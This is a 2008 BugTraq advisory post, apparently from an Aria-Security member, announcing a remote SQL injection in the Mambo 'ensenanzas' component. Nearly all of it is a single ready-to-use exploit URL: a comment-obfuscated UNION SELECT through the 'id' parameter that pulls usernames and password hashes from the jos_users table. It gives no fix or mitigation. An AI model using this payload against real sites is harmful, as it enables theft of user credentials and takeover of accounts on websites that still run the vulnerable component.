BugTraq
Mambo Components ensenanzas "id" Remote SQL Injection Mar 11 2008 02:36AM
no-reply Aria-security net
Aria-Security Team (Persian Security Network)

http://Aria-Security.Net/

----------------------------

Shoutz: Aura, NULL, Kinglet, iM4N, Imm02tal

Mambo Components ensenanzas "id" Remote SQL Injection

Original Advisory: http://forum.aria-security.net/showthread.php?p=1731

index.php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**
/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

Regards,

The-0utl4w

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus